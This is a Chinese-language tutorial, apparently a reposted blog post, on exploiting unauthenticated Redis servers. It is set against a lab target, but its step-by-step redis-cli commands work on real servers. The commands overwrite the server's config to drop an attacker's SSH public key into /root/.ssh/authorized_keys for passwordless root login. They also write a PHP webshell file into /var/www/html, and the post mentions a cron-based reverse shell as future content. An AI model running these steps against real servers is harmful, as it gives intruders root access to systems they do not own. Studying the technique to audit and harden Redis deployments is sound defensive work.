Redis未授权访问漏洞利用

0x00 测试环境

漏洞靶场:https://github.com/Medicean/VulApps/tree/master/r/redis/1
连接工具:https://redis.io/download 

0x01 测试是否存在未授权访问漏洞

使用redis-cli尝试连接目标6379端口
#./redis-cli -h 192.168.233.131 -p 6379    //6379为默认端口,这里映射为32773,如果存在弱口令,可以通过参数-a [password]连接

此时可以看到已连接成功

0x02 多姿势漏洞利用

姿势1:写入公钥,通过私钥免密连接

1、在本地/root/.ssh目录下生成rsa密钥对 //id_rsa私钥,连接时用;id_rsa.pub公钥,上传内容至目标服务器

Redis未授权访问漏洞利用_第1张图片
Redis未授权访问漏洞利用_第2张图片
2、通过redis命令,将公钥写入到目标服务器

> config set dir /root/.ssh/    //指定存放路径
> config set dbfilename "authorized_keys"    //指定上传的文件名
> set authorized_keys "公钥内容"    //将公钥写入到文件中,可略过这条命令
> save    //保存

Redis未授权访问漏洞利用_第3张图片
3、使用ssh命令连接目标

# ssh [email protected] -p 32774 -i ~/.ssh/id_rsa    //-i 指定私钥文件 ,这里提示需要密码的原因应该是authorized_keys文件权限过低(chmod 700 authorized_keys)

姿势2:若目标服务器有web服务,可直接写入一句话木马
> config set dir /var/www/html/
> config set dbfilename "1.php"
> set 1 ""
> save
姿势3:写入定时计划任务反弹shell【待补充】

你可能感兴趣的:(Redis未授权访问漏洞利用)